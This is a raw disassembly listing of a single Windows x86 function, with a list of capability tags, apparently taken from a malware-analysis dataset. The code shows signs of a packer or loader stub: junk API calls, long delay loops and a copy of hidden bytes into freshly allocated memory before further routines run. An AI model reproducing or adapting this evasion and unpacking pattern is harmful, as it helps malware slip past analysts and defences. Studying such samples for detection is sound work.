Function at 0x46ec10
Capabilities:
Connect pipe
Get disk information
Get geographical location
Manipulate console buffer
Move file

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x1864
call fcn.004070e0
mov eax, dword [0x471008]
xor eax, esp
mov dword [esp + 0x1860], eax
mov edx, dword [0x4720a0]
mov ecx, dword [0x85851c]
push ebx
push esi
push edi
xor ebx, ebx
xor eax, eax
mov edi, 0xec58ae96
or esi, 0xffffffff
lea esp, [esp]
cmp eax, 0x4db
jne 0x46ec5d
lea ecx, [edx + 0x9e49]
cmp ecx, 0xbcf
jne 0x46ec71
mov dword [0x472b90], edi
mov dword [0x472b94], esi
inc eax
cmp eax, 0x1180b56
jl 0x46ec50
mov edi, dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
mov dword [0x85851c], ecx
xor esi, esi
cmp esi, 0x55b763
jne 0x46ec99
mov eax, dword [0x471c48]
mov dword [0x85864c], eax
cmp ecx, 0x3c
jne 0x46eca8
push ebx
push ebx
call edi
mov ecx, dword [0x85851c]
inc esi
cmp esi, 0x4cd9711a
jl 0x46ec87
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x16ea61
jg 0x46ecd3
inc esi
cmp esi, 0x9438ed
jl 0x46ecc0
mov eax, dword [0x85851c]
cmp eax, 0x2a
jne 0x46ed90
lea ecx, [esp + 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
mov dword [0x858510], ebx
mov dword [0x858514], ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeExA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBW]
xor eax, eax
push ebx
mov dword [esp + 0x26], eax
mov dword [esp + 0x2a], eax
mov dword [esp + 0x2e], eax
mov word [esp + 0x32], ax
lea eax, [esp + 0x46c]
push eax
push str.tufayosixorefubo
lea ecx, [esp + 0x2c]
push ecx
push ebx
xor edx, edx
push ebx
mov word [esp + 0x38], dx
call dword [sym.imp.KERNEL32.dll_GetTimeFormatA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetThreadAffinityMask]
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesLengthA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
push ebx
lea edx, [esp + 0x6c]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call fcn.0040109d
push ebx
push ebx
call fcn.0040120c
push ebx
call fcn.0040112c
push ebx
call fcn.0040100f
push ebx
push ebx
call fcn.0040109d
add esp, 0x20
push ebx
call fcn.004016c7
cmp eax, 0x7c
jne 0x46ee8d
push ebx
push ebx
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
lea ecx, [esp + 0x86c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
push ebx
lea edx, [esp + 0x1c]
push edx
push ebx
lea eax, [esp + 0x74]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomW]
push 0x2e
lea ecx, [esp + 0x3c]
push ebx
push ecx
mov dword [esp + 0x40], ebx
call fcn.00404e80
add esp, 0xc
push ebx
lea edx, [esp + 0x38]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push ebx
push ebx
lea eax, [esp + 0x1070]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push ebx
lea ecx, [esp + 0x20]
push ecx
mov dword [esp + 0x24], ebx
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
xor eax, eax
xor edx, edx
mov word [esp + 0xe], ax
xor ecx, ecx
mov word [esp + 0x12], dx
lea eax, [esp + 0x20]
push eax
mov word [esp + 0x14], cx
mov ecx, dword [esp + 0x14]
push ecx
mov word [esp + 0x14], dx
mov edx, dword [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push ebx
lea ecx, [esp + 0x46c]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp dword [0x85851c], 0x2d
jne 0x46ee7f
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push ebx
call fcn.004011f6
mov eax, dword [0x85851c]
add esp, 4
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x85851c]
mov esi, eax
xor ecx, ecx
mov dword [0x858364], esi
cmp edx, ebx
jbe 0x46eede
mov edi, dword [0x85864c]
mov eax, 0x17bc
jmp 0x46eec0
mov bl, byte [edi + ecx + 0x9e49]
mov byte [esi + ecx], bl
cmp edx, 0x8d
jne 0x46eed7
mov dword [0x858368], eax
inc ecx
cmp ecx, edx
jb 0x46eec0
xor ebx, ebx
call fcn.0046e8f0
call fcn.0046e7b0
call fcn.0046eb80
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetSystemTime]
xor esi, esi
jmp 0x46ef00
cmp dword [0x85851c], 0x41
jne 0x46ef16
lea edx, [esp + 0x14]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_QueryMemoryResourceNotification]
cmp esi, 0xd589b
jne 0x46ef23
call fcn.0046e7a0
cmp dword [0x85851c], 0xc
jne 0x46ef37
lea eax, [esp + 0x18]
push eax
call edi
push 0
call ebx
inc esi
cmp esi, 0x24d8dd
jl 0x46ef00
mov esi, dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
mov ebx, 0x1dfe99
mov edi, 0x8e4e0198
cmp dword [0x85851c], 0x7c4
mov dword [0x85836c], edi
jne 0x46ef7f
xor edx, edx
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
mov word [esp + 0x10], cx
mov word [esp + 0x12], dx
mov ecx, dword [esp + 0x10]
push ecx
push edx
push edx
push edx
call esi
sub ebx, 1
jne 0x46ef50
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoA]
mov ebx, dword [sym.imp.USER32.dll_GetClassLongW]
xor esi, esi
lea edx, [esp + 0x34]
push edx
push 0
call edi
push 0
push 0
call ebx
cmp esi, 0x408e
jle 0x46efb3
cmp dword [esp + 0x3c], 0xf5bed7
jne 0x46efbc
inc esi
cmp esi, 0x687ed2
jl 0x46ef92
mov ecx, dword [esp + 0x186c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00401000
mov esp, ebp
pop ebp
ret